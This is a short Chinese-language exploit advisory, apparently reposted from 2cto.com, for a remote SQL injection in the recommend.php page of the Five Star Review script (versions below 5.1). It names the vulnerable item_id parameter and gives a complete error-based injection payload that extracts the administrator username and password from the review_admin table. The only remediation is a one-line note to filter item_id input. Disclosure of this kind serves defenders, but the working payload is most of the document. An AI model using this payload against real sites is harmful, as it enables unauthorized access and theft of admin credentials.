标题: Five Star Review Remote SQL Injection (recommend.php)

开发者: http://www.review-script.com

影响版本: Versions below v5.1

作者: EthicalPractice  www.2cto.com

测试平台: Firefox 8.0, Palemoon 8.0, Internet Explorer 9

备注:仅用于老版

################################################################################################

## 注射点: /recommend.php?item_id=[SQL]

测试代码:

+and+(select 1

from(select+count(*),concat((select+concat(username,0x3a,passtext) from

review_admin+limit+0,1),floor(rand(0)*2))a from

information_schema.tables+group by a)b)

www.2cto.com修复：item_id输入过滤